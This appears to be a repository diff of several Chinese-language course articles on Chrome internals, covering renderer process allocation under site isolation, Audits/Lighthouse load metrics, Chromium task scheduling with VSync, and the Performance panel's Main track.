上面我们都是基于标签页来分析渲染进程的,不过我在“[35安全沙箱](https://time.geekbang.org/column/article/155183)”中介绍过了目前Chrome浏览器已经默认实现了站点隔离的功能这意味着标签页中的iframe也会遵守同一站点的分配原则如果标签页中的iframe和标签页是同一站点并且有连接关系那么标签页依然会和当前标签页运行在同一个渲染进程中如果iframe和标签页不属于同一站点那么iframe会运行在单独的渲染进程中。
我们先来看下面这个具体的例子吧:
```
&lt;head&gt;
&lt;title&gt;站点隔离:demo&lt;/title&gt;
&lt;style&gt;
iframe {
width: 800px;
height: 300px;
}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div&gt;&lt;iframe src=&quot;iframe.html&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;div&gt;&lt;iframe src=&quot;https://www.infoq.cn/&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;div&gt;&lt;iframe src=&quot;https://time.geekbang.org/&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;div&gt;&lt;iframe src=&quot;https://www.geekbang.org/&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
```
在Chrome浏览器中打开上面这个标签页然后观察Chrome的任务管理我们会发现这个标签页使用了四个渲染进程如下图所示
<img src="https://static001.geekbang.org/resource/image/47/1d/4762ab5be219271ff3e26c1f4c4f521d.png" alt="">
结合上图和HTML代码我们可以发现由于InfoQ、极客邦两个iframe与父标签页不属于同一站点所以它们会被分配到不同的渲染进程中而iframe.html和源标签页属于同一站点所以它会和源标签页运行在同一个渲染进程中。下面是我画的计算iframe使用渲染进程数目的流程图你可以对照着参考下
<img src="https://static001.geekbang.org/resource/image/a1/0e/a13f917f227e85102998b3bfe38b4e0e.jpg" alt="">
## 总结
好了,本节的内容就介绍到这里,下面我来总结下本文的主要内容:
首先我们使用了两种不同的方式打开两个标签页第一种是从A标签页中通过链接打开了B标签页第二种是分别打开A和B标签页这两种情况下的A和B都属于同一站点。
通过Chrome的任务管理器我们发现虽然A标签页和B标签页都属于同一站点不过通过第一种方式打开的A标签页和B标签页会共用同一个渲染进程而通过第二种方式打开的两个标签页却分别使用了两个不同的渲染进程。
这是因为使用同一个渲染进程需要满足两个条件首先A标签页和B标签页属于同一站点其次A标签页和B标签页需要有连接关系。
接着我们分析了一个“例外”如果在链接中加入了rel=noopener属性那么通过链接打开的新标签页和源标签页之间就不会建立连接关系了。
最后我们还分析了站点隔离对渲染进程个数的影响如果A标签页中的iframe和A标签页属于同一站点那么该iframe和A标签页会共用同一个渲染进程如果不是则该iframe会使用单独的渲染进程。
好了,到了这里相信你已经会计算渲染进程的个数了。
在最后我们还要补充下同源策略对同一站点的限制虽然Chrome会让有连接且属于同一站点的标签页运行在同一个渲染进程中不过如果A标签页和B标签页属于同一站点却不属于同源站点那么你依然无法通过opener来操作父标签页中的DOM这依然会受到同源策略的限制。
简单地讲极客邦和极客时间属于同一站点但是他们并不是同源的因为同源是需要相同域名的虽然根域名geekbang.org相同但是域名却是不相同的一个是time.geekbang.org一个是www.geekbang.org 因此浏览器判断它们不是同源的所以依然无法通过time.geekbang.org标签页中的opener来操作www.geekbang.org中的DOM。
## 思考题
那么今天留给你的思考题是你认为Chrome为什么使用同一站点划分渲染进程而不是使用同源策略来划分渲染进程
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,166 @@
<audio id="audio" title="加餐三加载阶段性能使用Audits来优化Web性能" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/da/0e/da3e6177586fd36efbff15e8c935260e.mp3"></audio>
你好,我是李兵。
作为一名前端工程师除了需要编写功能性的代码以外我们还需要关注Web应用的性能问题我们应该有能力让我们的Web应用占用最小的资源并以最高性能运行这也是前端工程师进阶的必要能力。既然性能这么重要那么我们今天要来聊聊Web性能问题。
## 到底什么是Web性能?
我们看下wiki对Web 性能的[定义](https://en.wikipedia.org/wiki/Web_performance)
>
Web 性能描述了Web应用在浏览器上的加载和显示的速度。
因此当我们讨论Web性能时其实就是讨论Web应用速度关于Web应用的速度我们需要从两个阶段来考虑
- 页面加载阶段;
- 页面交互阶段。
在本文中,我们会将焦点放到第一个阶段:页面加载阶段的性能,在下篇文章中,我们会来重点分析页面交互阶段的性能。
## 性能检测工具Performance vs Audits
要想优化Web的性能我们就需要有监控Web应用的性能数据那怎么监控呢
如果没有工具来模拟各种不同的场景并统计各种性能指标那么定位Web应用的性能瓶颈将是一件非常困难的任务。幸好Chrome为我们提供了非常完善的性能检测工具**Performance**和**Audits**它们能够准确统计页面在加载阶段和运行阶段的一些核心数据诸如任务执行记录、首屏展示花费的时长等有了这些数据我们就能很容易定位到Web应用的**性能瓶颈** 。
首先Performance非常强大因为它为我们提供了非常多的运行时数据利用这些数据我们就可以分析出来Web应用的瓶颈。但是要完全学会其使用方式却是非常有难度的其难点在于这些数据涉及到了特别多的概念而这些概念又和浏览器的系统架构、消息循环机制、渲染流水线等知识紧密联系在了一起。
相反Audtis就简单了许多它将检测到的细节数据隐藏在背后只提供给我们一些直观的性能数据同时还会给我们提供一些优化建议。
Perfomance能让我们看到更多细节数据但是更加复杂Audits就比较智能但是隐藏了更多细节。为了能够让你循序渐进地理解内容所以本节我们先从简单的Audits入手看看如何利用它来检测和优化页面在加载阶段的性能然后在下一节我们再来分析Perfomance。
## 检测之前准备工作
不过在检测Web的性能指标之前我们还要配置好工作环境具体地讲你需要准备以下内容
- 首先准备Chrome Canary版的浏览器Chrome Canary是采用最新技术构建的它的开发者工具和浏览器特性都是最新的所以我推荐你使用Chrome Canary来做性能分析。当然你也可以使用稳定版的Chrome。
- 然后我们需要在Chrome的隐身模式下工作这样可以确保我们安装的扩展、浏览器缓存、Cookie等数据不会影响到检测结果。
## 利用Audits生成Web性能报告
环境准备好了之后,我们就可以生成站点在加载阶段的性能报告了,这里我们可以拿[B站](https://www.bilibili.com/index.html?redirectFrom=h5)作为分析的列子。
- 首先我们打开浏览器的隐身窗口Windows系统下面的快捷键是Control+Shift+NMac系统下面的快捷键是Command+Shift+N。
- 然后在隐身窗口中输入B站的网站。
- 打开Chrome的开发者工具选择Audits标签。
最终打开的页面如下图所示:
<img src="https://static001.geekbang.org/resource/image/f4/09/f47e598b2fe371e0af067c74756a8909.png" alt="">
观察上图中的Audits界面我们可以看到在生成报告之前我们需要先配置Audits配置模块主要有两部分组成一个是**监测类型(Categories)**,另外一个是**设备类型(Device)**。
**监控类型(Categories)是指需要监控哪些内容**,这里有五个对应的选项,它们的功能分别是:
- 监测并分析Web性能(**Performance**)
- 监测并分析PWA(**Progressive Web App**)程序的性能;
- 监测并分析Web应用是否采用了最佳实践策略(**Best practices**)
- 监测并分析是否实施了无障碍功能(**Accessibility**)[无障碍功能](https://developers.google.com/web/fundamentals/accessibility?utm_source=lighthouse&amp;utm_medium=devtools)让一些身体有障碍的人可以方便地浏览你的Web应用。
- 监测并分析Web应用是否采实施了SEO搜素引擎优化(**SEO**)。
本文我们只需要关注Web应用的加载性能所以勾选第一个Performance选项就可以了。
再看看**设备(Device)部分**它给了我们两个选项Moblie选项是用来模拟移动设备环境的另外一个Desktop选项是用来模拟桌面环境的。这里我们选择移动设备选项因为目前大多数流量都是由移动设备产生的所以移动设备上的Web性能显得更加重要。
配置好选项之后,我们就可以点击最上面的生成报告(Generate report)按钮来生成报告了。
## 解读性能报告
点击生成报告的按钮之后我们大约需要等待一分钟左右Audits就可以生成最终的分析报告了如下图所示
<img src="https://static001.geekbang.org/resource/image/c0/22/c0420197cc60fb91af2f38903afc8022.png" alt="">
观察上图的分析报告中间圆圈中的数字表示该站点在加载过程中的总体Web性能得分总分是100分。我们目前的得分为46分这表示该站点加载阶段的性能还有很大的提升空间。
Audits除了生成性能指标以外还会分析该站点并提供了很多优化建议我们可以根据这些建议来改进Web应用以获得更高的得分进而获得更好的用户体验效果。
既能分析Web性能得分又能给出优化建议所以Audits的分析报告还是非常有价值的那么接下来我们就来解读下Audits生成的性能报告。
报告的第一个部分是**性能指标(Metrics)**,如下图所示:
<img src="https://static001.geekbang.org/resource/image/d2/26/d27cde1230afbabf6f914ee987c15026.png" alt="">
观察上图我们可以发现性能指标下面一共有六项内容这六项内容分别对应了从Web应用的加载到页面展示完成的这段时间中各个阶段所消耗的时长。在中间还有一个View Trace按钮点击该按钮可以跳转到Performance标签并且查看这些阶段在Performance中所对应的位置。最下方是加载过程中各个时间段的屏幕截图。
报告的第二个部分是**可优化项(Opportunities)**,如下图所示:
<img src="https://static001.geekbang.org/resource/image/27/88/275dfab0e15ccf4f59e909e352197b88.png" alt="">
这些可优化项是Audits发现页面中的一些可以直接优化的部分你可以对照Audits给的这些提示来优化你的Web应用。
报告的第三部分是**手动诊断(Diagnostics)**,如下图所示:
<img src="https://static001.geekbang.org/resource/image/1b/82/1bd988dde8315b1d286a5d72c0244d82.png" alt="">
在手动诊断部分采集了一些可能存在性能问题的指标这些指标可能会影响到页面的加载性能Audits把详情列出来并让你依据实际情况来手动排查每一项。
报告的最后一部分是**运行时设置(Runtime Settings)**,如下图所示:
<img src="https://static001.geekbang.org/resource/image/1a/7a/1a48f900ad3ce35371b92431d984507a.png" alt="">
观察上图这是运行时的一些基本数据如果选择移动设备模式你可以看到发送网络请求时的User Agent 会变成设备相关信息,还有会模拟设备的网速,这个体现在网络限速上。
## 根据性能报告优化Web性能
现在有了性能报告接下来我们就可以依据报告来分析如何优化Web应用了。最直接的方式是想办法提高性能指标的分数而性能指标的分数是由六项指标决定的它们分别是
1. 首次绘制(First Paint)
1. 首次有效绘制(First Meaningfull Paint)
1. 首屏时间(Speed Index)
1. 首次CPU空闲时间(First CPU Idle)
1. 完全可交互时间(Time to Interactive)
1. 最大估计输入延时(Max Potential First Input Delay)。
那么接下来我会逐一分析六项指标的含义,并讨论如何提升这六项指标的数值。这六项都是页面在加载过程中的性能指标,所以要弄明白这六项指标的具体含义,我们还得结合页面的加载过程来分析。一图胜过千言,我们还是先看下面这张页面从加载到展示的过程图:
<img src="https://static001.geekbang.org/resource/image/70/99/7041b4d913a12d4d53041e8ed8b30499.png" alt="">
观察上图的页面加载过程,我们发现,在渲染进程确认要渲染当前的请求后,渲染进程会创建一个空白页面,我们把创建空白页面的这个时间点称为**First Paint**,简称**FP**。
然后渲染进程继续请求关键资源,我们在《[25页面性能如何系统地优化页面](https://time.geekbang.org/column/article/143889)》这节中介绍过了关键资源并且知道了关键资源包括了JavaScript文件和CSS文件因为关键资源会阻塞页面的渲染所以我们需要等待关键资源加载完成后才能执行进一步的页面绘制。
上图中bundle.js是关键资源因此需要完成加载之后渲染进程才能执行该脚本然后脚本会修改DOM引发重绘和重排等一系列操作当页面中绘制了第一个像素时我们把这个时间点称为**First Content Paint**,简称**FCP**。
接下来继续执行JavaScript脚本当首屏内容完全绘制完成时我们把这个时间点称为**Largest Content Paint**,简称**LCP**。
在FCP和LCP中间还有一个FMP这个是首次有效绘制由于FMP计算复杂而且容易出错现在不推荐使用该指标所以这里我们也不做过多介绍了。
接下来JavaScript脚本执行结束渲染进程判断该页面的DOM生成完毕于是触发DOMContentLoad事件。等所有资源都加载结束之后再触发onload事件。
好了,以上就是页面在加载过程中各个重要的时间节点,了解了这些时间节点,我们就可以来聊聊性能报告的六项指标的含义并讨论如何优化这些指标。
我们先来分析下**第一项指标FP**如果FP时间过久那么直接说明了一个问题那就是页面的HTML文件可能由于网络原因导致加载时间过久这块具体的分析过程你可以参考《[21Chrome开发者工具利用网络面板做性能分析](https://time.geekbang.org/column/article/138844)》这节内容。
**第二项是FMP**上面也提到过由于FMP计算复杂所以现在不建议使用该指标了另外由于LCP的计算规则简单所以推荐使用LCP指标具体文章你可以参考[这里](https://web.dev/lcp/)。不过是FMP还是LCP优化它们的方式都是类似的你可以结合上图如果FMP和LCP消耗时间过久那么有可能是加载关键资源花的时间过久也有可能是JavaScript执行过程中所花的时间过久所以我们可以针对具体的情况来具体分析。
**第三项是首屏时间(Speed Index)这就是我们上面提到的LCP**它表示填满首屏页面所消耗的时间首屏时间的值越大那么加载速度越慢具体的优化方式同优化第二项FMP是一样。
**第四项是首次CPU空闲时间(First CPU Idle)也称为First Interactive**它表示页面达到最小化可交互的时间也就是说并不需要等到页面上的所有元素都可交互只要可以对大部分用户输入做出响应即可。要缩短首次CPU空闲时长我们就需要尽可能快地加载完关键资源尽可能快地渲染出来首屏内容因此优化方式和第二项FMP和第三项LCP是一样的。
**第五项是完全可交互时间(Time to Interactive)简称TTI**它表示页面中所有元素都达到了可交互的时长。简单理解就这时候页面的内容已经完全显示出来了所有的JavaScript事件已经注册完成页面能够对用户的交互做出快速响应通常满足响应速度在50毫秒以内。如果要解决TTI时间过久的问题我们可以推迟执行一些和生成页面无关的JavaScript工作。
**第六项是最大估计输入延时(Max Potential First Input Delay**这个指标是估计你的Web页面在加载最繁忙的阶段 窗口中响应用户输入所需的时间为了改善该指标我们可以使用WebWorker来执行一些计算从而释放主线程。另一个有用的措施是重构CSS选择器以确保它们执行较少的计算。
## 总结
好了,今天的内容就介绍到这里,下面我来总结下本文的主要内容:
本文我们主要讨论如何优化加载阶段的Web应用的性能。
要想优化Web性能首先得需要有Web应用的性能数据。所以接下来我们介绍了Chrome采集Web性能数据的两个工具Performance和AuditsPerformance可以采集非常多的性能但是其使用难度大相反Audtis就简单了许多它会分析检测到的性能数据并给出站点的性能得分同时还会给我们提供一些优化建议。
我们先从简单的工具上手所以本文我们主要分析了Audits的使用方式先介绍了如何使用Audits生成性能报告然后我们解读了性能报告中的每一项内容。
大致了解Audits生成的性能报告之后我们又分析Web应用在加载阶段的几个关键时间点最后我们分析性能指标的具体含义以及如何提高性能指标的分数从而达到优化Web应用的目的。
通过介绍我们知道了Audits非常适合用来分析加载阶段的Web性能除此之外Audits还有其他非常实用的功能比如可以检测我们的代码是否符合一些最佳实践并给出提示这样我们就可以根据Audits的提示来决定是否需要优化我们的代码这个功能非常不错具体使用方式留给你自己去摸索了。
## 课后思考
在文中我们又分析Web应用在加载阶段的几个关键时间点在Audits中通过对这些时间点的分析输出了文中介绍的六项性能指标其实这些时间点也可以通过Performance的时间线(Timelines)来查看那么今天留给你的任务是提前熟悉下Performance工具并对照这文中加载阶段的几个时间点来熟悉下Performance的时间线(Timelines),欢迎在留言区分享你的想法。
感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,164 @@
<audio id="audio" title="加餐二任务调度有了setTimeOut为什么还要使用rAF" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/36/c0/36bb3a194534a23f6e9e5b3f7d0003c0.mp3"></audio>
你好,我是李兵。
我们都知道要想利用JavaScript实现高性能的动画那就得使用requestAnimationFrame这个API我们简称rAF那么为什么都推荐使用rAF而不是setTimeOut呢
要解释清楚这个问题就要从渲染进程的任务调度系统讲起理解了渲染进程任务调度系统你自然就明白了rAF和setTimeOut的区别。其次如果你理解任务调度系统那么你就能将渲染流水线和浏览器系统架构等知识串起来理解了这些概念也有助于你理解Performance标签是如何工作的。
要想了解最新Chrome的任务调度系统是怎么工作的我们得先来回顾下之前介绍的消息循环系统我们知道了渲染进程内部的大多数任务都是在主线程上执行的诸如JavaScript执行、DOM、CSS、计算布局、V8的垃圾回收等任务。要让这些任务能够在主线程上有条不紊地运行就需要引入消息队列。
在前面的《[16 | WebAPIsetTimeout是如何实现的](https://time.geekbang.org/column/article/134456)》这篇文章中,我们还介绍了,主线程维护了一个普通的消息队列和一个延迟消息队列,调度模块会按照规则依次取出这两个消息队列中的任务,并在主线程上执行。为了下文讲述方便,在这里我把普通的消息队列和延迟队列都当成一个消息队列。
新的任务都是被放进消息队列中去的,然后主线程再依次从消息队列中取出这些任务来顺序执行。这就是我们之前介绍的消息队列和事件循环系统。
## 单消息队列的队头阻塞问题
我们知道,渲染主线程会按照先进先出的顺序执行消息队列中的任务,具体地讲,当产生了新的任务,渲染进程会将其添加到消息队列尾部,在执行任务过程中,渲染进程会顺序地从消息队列头部取出任务并依次执行。
在最初,采用这种方式没有太大的问题,因为页面中的任务还不算太多,渲染主线程也不是太繁忙。不过浏览器是向前不停进化的,其进化路线体现在架构的调整、功能的增加以及更加精细的优化策略等方面,这些变化让渲染进程所需要处理的任务变多了,对应的渲染进程的主线程也变得越拥挤。下图所展示的仅仅是部分运行在主线程上的任务,你可以参考下:
<img src="https://static001.geekbang.org/resource/image/fa/f4/fa9f5853a5dcad650aaaf39072820ef4.png" alt="">
你可以试想一下在基于这种单消息队列的架构下如果用户发出一个点击事件或者缩放页面的事件而在此时该任务前面可能还有很多不太重要的任务在排队等待着被执行诸如V8的垃圾回收、DOM定时器等任务如果执行这些任务需要花费的时间过久的话那么就会让用户产生卡顿的感觉。你可以参看下图
<img src="https://static001.geekbang.org/resource/image/cc/ff/cc7c32fa82207cece9c78015e4b841ff.jpg" alt="">
因此,**在单消息队列架构下,存在着低优先级任务会阻塞高优先级任务的情况**比如在一些性能不高的手机上有时候滚动页面需要等待一秒以上。这像极了我们在介绍HTTP协议时所谈论的队头阻塞问题那么我们也把这个问题称为消息队列的队头阻塞问题吧。
## Chromium是如何解决队头阻塞问题的
为了解决由于单消息队列而造成的队头阻塞问题Chromium团队从2013年到现在花了大量的精力在持续重构底层消息机制。在接下来的篇幅里我会按照Chromium团队的重构消息系统的思路来带你分析下他们是如何解决掉队头阻塞问题的。
#### 1. 第一次迭代:引入一个高优先级队列
首先在最理想的情况下,我们希望能够快速跟踪高优先级任务,比如在交互阶段,下面几种任务都应该视为高优先级的任务:
- 通过鼠标触发的点击任务、滚动页面任务;
- 通过手势触发的页面缩放任务;
- 通过CSS、JavaScript等操作触发的动画特效等任务。
这些任务被触发后,用户想立即得到页面的反馈,所以我们需要让这些任务能够优先与其他的任务执行。要实现这种效果,我们可以增加一个高优级的消息队列,将高优先级的任务都添加到这个队列里面,然后优先执行该消息队列中的任务。最终效果如下图所示:
<img src="https://static001.geekbang.org/resource/image/03/c1/039fdf4c399d20a75d7dea9448cc8fc1.jpg" alt="">
观察上图,我们使用了一个优先级高的消息队列和一个优先级低消息队列,渲染进程会将它认为是紧急的任务添加到高优先级队列中,不紧急的任务就添加到低优先级的队列中。然后我们再在渲染进程中引入一个**任务调度器**,负责从多个消息队列中选出合适的任务,通常实现的逻辑,先按照顺序从高优先级队列中取出任务,如果高优先级的队列为空,那么再按照顺序从低优级队列中取出任务。
我们还可以更进一步,将任务划分为多个不同的优先级,来实现更加细粒度的任务调度,比如可以划分为高优先级,普通优先级和低优先级,最终效果如下图所示:
<img src="https://static001.geekbang.org/resource/image/d7/78/d7c71113c6c13047fb79e7d120173b78.jpg" alt="">
观察上图,我们实现了三个不同优先级的消息队列,然后可以使用任务调度器来统一调度这三个不同消息队列中的任务。
好了,现在我们引入了多个消息队列,结合任务调度器我们就可以灵活地调度任务了,这样我们就可以让高优先级的任务提前执行,采用这种方式似乎解决了消息队列的队头阻塞问题。
不过大多数任务需要保持其相对执行顺序,如果将用户输入的消息或者合成消息添加进多个不同优先级的队列中,那么这种任务的相对执行顺序就会被打乱,甚至有可能出现还未处理输入事件,就合成了该事件要显示的图片。因此我们需要让一些相同类型的任务保持其相对执行顺序。
#### 2. 第二次迭代:根据消息类型来实现消息队列
要解决上述问题,我们可以为不同类型的任务创建不同优先级的消息队列,比如:
- 可以创建输入事件的消息队列,用来存放输入事件。
- 可以创建合成任务的消息队列,用来存放合成事件。
- 可以创建默认消息队列,用来保存如资源加载的事件和定时器回调等事件。
- 还可以创建一个空闲消息队列用来存放V8的垃圾自动垃圾回收这一类实时性不高的事件。
最终实现效果如下图所示:
<img src="https://static001.geekbang.org/resource/image/56/ce/56ec510f7f7d4738e9db83dbd51f3fce.png" alt="">
通过迭代,这种策略已经相当实用了,但是它依然存在着问题,那就是这几种消息队列的优先级都是固定的,任务调度器会按照这种固定好的静态的优先级来分别调度任务。那么静态优先级会带来什么问题呢?
我们在《[25 | 页面性能:如何系统地优化页面?](https://time.geekbang.org/column/article/143889)》这节分析过页面的生存周期,页面大致的生存周期大体分为两个阶段,加载阶段和交互阶段。
虽然在交互阶段采用上述这种静态优先级的策略没有什么太大问题的但是在页面加载阶段如果依然要优先执行用户输入事件和合成事件那么页面的解析速度将会被拖慢。Chromium团队曾测试过这种情况使用静态优先级策略网页的加载速度会被拖慢14%。
## 3. 第三次迭代:动态调度策略
可以看出,我们所采用的优化策略像个跷跷板,虽然优化了高优先级任务,却拖慢低优先级任务,之所以会这样,是因为我们采取了静态的任务调度策略,对于各种不同的场景,这种静态策略就显得过于死板。
所以我们还得根据实际场景来继续平衡这个跷跷板,也就是说在不同的场景下,根据实际情况,动态调整消息队列的优先级。一图胜过千言,我们先看下图:
<img src="https://static001.geekbang.org/resource/image/3c/f5/3cc95247daae7f90f0dced017d349af5.png" alt="">
这张图展示了Chromium在不同的场景下是如何调整消息队列优先级的。通过这种动态调度策略就可以满足不同场景的核心诉求了同时这也是Chromium当前所采用的任务调度策略。
上图列出了三个不同的场景分别是加载过程合成过程以及正常状态。下面我们就结合这三种场景来分析下Chromium为何做这种调整。
首先我们来看看**页面加载阶段**的场景在这个阶段用户的最高诉求是在尽可能短的时间内看到页面至于交互和合成并不是这个阶段的核心诉求因此我们需要调整策略在加载阶段将页面解析JavaScript脚本执行等任务调整为优先级最高的队列降低交互合成这些队列的优先级。
页面加载完成之后就进入了**交互阶段**在介绍Chromium是如何调整交互阶段的任务调度策略之前我们还需要岔开一下来回顾下页面的渲染过程。
在《[06 | 渲染流程HTML、CSS和JavaScript是如何变成页面的](https://time.geekbang.org/column/article/118826)》和《[24 | 分层和合成机制为什么CSS动画比JavaScript高效](https://time.geekbang.org/column/article/141842)》这两节,我们分析了一个页面是如何渲染并显示出来的。
在显卡中有一块叫着**前缓冲区**的地方这里存放着显示器要显示的图像显示器会按照一定的频率来读取这块前缓冲区并将前缓冲区中的图像显示在显示器上不同的显示器读取的频率是不同的通常情况下是60HZ也就是说显示器会每间隔1/60秒就读取一次前缓冲区。
如果浏览器要更新显示的图片,那么浏览器会将新生成的图片提交到显卡的**后缓冲区**中提交完成之后GPU会将**后缓冲区和前缓冲区互换位置**也就是前缓冲区变成了后缓冲区后缓冲区变成了前缓冲区这就保证了显示器下次能读取到GPU中最新的图片。
这时候我们会发现,显示器从前缓冲区读取图片,和浏览器生成新的图像到后缓冲区的过程是不同步的,如下图所示:
<img src="https://static001.geekbang.org/resource/image/1c/38/1c3a9d8a0f56b73331041ea603ad3738.png" alt="">
这种显示器读取图片和浏览器生成图片不同步,容易造成众多问题。
- 如果渲染进程生成的帧速比屏幕的刷新率慢,那么屏幕会在两帧中显示同一个画面,当这种断断续续的情况持续发生时,用户将会很明显地察觉到动画卡住了。
- 如果渲染进程生成的帧速率实际上比屏幕刷新率快那么也会出现一些视觉上的问题比如当帧速率在100fps而刷新率只有60Hz的时候GPU所渲染的图像并非全都被显示出来这就会造成丢帧现象。
- 就算屏幕的刷新频率和GPU更新图片的频率一样由于它们是两个不同的系统所以屏幕生成帧的周期和VSync的周期也是很难同步起来的。
所以VSync和系统的时钟不同步就会造成掉帧、卡顿、不连贯等问题。
为了解决这些问题就需要将显示器的时钟同步周期和浏览器生成页面的周期绑定起来Chromium也是这样实现那么下面我们就来看看Chromium具体是怎么实现的
**当显示器将一帧画面绘制完成后并在准备读取下一帧之前显示器会发出一个垂直同步信号vertical synchronization给GPU简称 VSync。**这时候浏览器就会充分利用好VSync信号。
具体地讲当GPU接收到VSync信号后会将VSync信号同步给浏览器进程浏览器进程再将其同步到对应的渲染进程渲染进程接收到VSync信号之后就可以准备绘制新的一帧了具体流程你可以参考下图
<img src="https://static001.geekbang.org/resource/image/06/08/06206ed4846e9531351a0cb7d1db6208.png" alt="">
上面其实是非常粗略的介绍,实际实现过程也是非常复杂的,如果感兴趣,你可以参考[这篇文章](https://docs.google.com/document/d/16822du6DLKDZ1vQVNWI3gDVYoSqCSezgEmWZ0arvkP8/edit)。
好了我们花了很大篇幅介绍了VSync和页面中的一帧是怎么显示出来有了这些知识我们就可以回到主线了来分析下渲染进程是如何优化交互阶段页面的任务调度策略的
从上图可以看出,当渲染进程接收到用户交互的任务后,接下来大概率是要进行绘制合成操作,因此我们可以设置,**当在执行用户交互的任务时,将合成任务的优先级调整到最高。**
接下来处理完成DOM计算好布局和绘制就需要将信息提交给合成线程来合成最终图片了然后合成线程进入工作状态。现在的场景是合成线程在工作了**那么我们就可以把下个合成任务的优先级调整为最低,并将页面解析、定时器等任务优先级提升。**
在合成完成之后合成线程会提交给渲染主线程提交完成合成的消息如果当前合成操作执行的非常快比如从用户发出消息到完成合成操作只花了8毫秒因为VSync同步周期是16.661/60毫秒那么这个VSync时钟周期内就不需要再次生成新的页面了。那么从合成结束到下个VSync周期内就进入了一个空闲时间阶段那么就可以在这段空闲时间内执行一些不那么紧急的任务比如V8的垃圾回收或者通过window.requestIdleCallback()设置的回调任务等,都会在这段空闲时间内执行。
#### 4. 第四次迭代:任务饿死
好了,以上方案看上去似乎非常完美了,不过依然存在一个问题,那就是在某个状态下,一直有新的高优先级的任务加入到队列中,这样就会导致其他低优先级的任务得不到执行,这称为任务饿死。
Chromium为了解决任务饿死的问题给每个队列设置了执行权重也就是如果连续执行了一定个数的高优先级的任务那么中间会执行一次低优先级的任务这样就缓解了任务饿死的情况。
## 总结
好了,本节的内容就介绍到这里,下面我来总结下本文的主要内容:
首先我们分析了基于单消息队列会引起队头阻塞的问题,为了解决队头阻塞问题,我们引入了多个不同优级的消息队列,并将紧急的任务添加到高优先级队列,不过大多数任务需要保持其相对执行顺序,如果将用户输入的消息或者合成消息添加进多个不同优先级的队列中,那么这种任务的相对执行顺序就会被打乱,所以我们又迭代了第二个版本。
在第二个版本中,按照不同的任务类型来划分任务优先级,不过由于采用的静态优先级策略,对于其他一些场景,这种静态调度的策略并不是太适合,所以接下来,我们又迭代了第三版。
第三个版本基于不同的场景来动态调整消息队列的优先级到了这里已经非常完美了不过依然存在着任务饿死的问题为了解决任务饿死的问题我们给每个队列一个权重如果连续执行了一定个数的高优先级的任务那么中间会执行一次低优先级的任务这样我们就完成了Chromium的任务改造。
通过整个过程的分析,我们应该能理解,在开发一个项目时,不要试图去找最完美的方案,完美的方案往往是不存在的,我们需要根据实际的场景来寻找最适合我们的方案。
## 思考题
我们知道CSS动画是由渲染进程自动处理的所以渲染进程会让CSS渲染每帧动画的过程与VSync的时钟保持一致,这样就能保证CSS动画的高效率执行。
但是JavaScript是由用户控制的如果采用setTimeout来触发动画每帧的绘制那么其绘制时机是很难和VSync时钟保持一致的所以JavaScript中又引入了window.requestAnimationFrame用来和VSync的时钟周期同步那么我留给你的问题是你知道requestAnimationFrame回调函数的执行时机吗
## 参考资料
下面是我参考的一些资料:
- [Blink Scheduler ](https://chromium.googlesource.com/chromium/src/+/refs/tags/80.0.3968.1/third_party/blink/renderer/platform/scheduler/)
- [Blink Scheduler PPT](https://docs.google.com/presentation/d/1V09Qq08_jOucvOFs-C7P4Hz2Vsswa6imqLxAf7ONomQ/edit#slide=id.g3ef47b745_0104)
- [Chrome的消息类型](https://chromium.googlesource.com/chromium/src/third_party/+/master/blink/public/platform/task_type.h)
- [Chrome消息优先级](https://chromium.googlesource.com/chromium/src/base/+/refs/heads/master/task/sequence_manager/task_queue.h)
- [无头浏览器](https://docs.google.com/presentation/d/1OnvR0S2s8yrn0KWAJaFEgOasrSnwR_I7JFzTB6f-G3U/htmlpresent)
欢迎在留言区分享你的想法。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,242 @@
<audio id="audio" title="加餐五 | 性能分析工具如何分析Performance中的Main指标" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/40/cf/40fc10636875760d547fdc12418b9ecf.mp3"></audio>
你好,我是李兵
上节我们介绍了如何使用Performance而且我们还提到了性能指标面板中的Main指标它详细地记录了渲染主线程上的任务执行记录通过分析Main指标我们就能够定位到页面中所存在的性能问题本节我们就来介绍如何分析Main指标。
## 任务 vs 过程
不过在开始之前我们要讲清楚两个概念那就是Main指标中的任务和过程在《[15 | 消息队列和事件循环:页面是怎么活起来的?](https://time.geekbang.org/column/article/132931)》和《[加餐二任务调度有了setTimeOut为什么还要使用rAF](https://time.geekbang.org/column/article/169468)》这两节我们分析过渲染进程中维护了消息队列如果通过SetTimeout设置的回调函数通过鼠标点击的消息事件都会以任务的形式添加消息队列中然后任务调度器会按照一定规则从消息队列中取出合适的任务并让其在渲染主线程上执行。
而我们今天所分析的Main指标就记录渲染主线上所执行的全部**任务**,以及每个任务的详细执行**过程**。
你可以打开Chrome的开发者工具选择Performance标签然后录制加载阶段任务执行记录然后关注Main指标如下图所示
<img src="https://static001.geekbang.org/resource/image/c3/cc/c3add6d821fd2a45a14bb2388c9c2dcc.png" alt="">
观察上图,图上方有很多一段一段灰色横条,**每个灰色横条就对应了一个任务,灰色长条的长度对应了任务的执行时长**。通常,渲染主线程上的任务都是比较复杂的,如果只单纯记录任务执行的时长,那么依然很难定位问题,因此,还需要将任务执行过程中的一些关键的细节记录下来,这些细节就是任务的**过程**,灰线下面的横条就是一个个过程,同样这些横条的长度就代表这些过程执行的时长。
直观地理解你可以把任务看成是一个Task函数在执行Task函数的过程中它会调用一系列的子函数这些子函数就是我们所提到的**过程**。为了让你更好地理解,我们来分析下面这个任务的图形:
<img src="https://static001.geekbang.org/resource/image/aa/18/aabfd0e5e746bbaeaf14c62c703a7718.png" alt="">
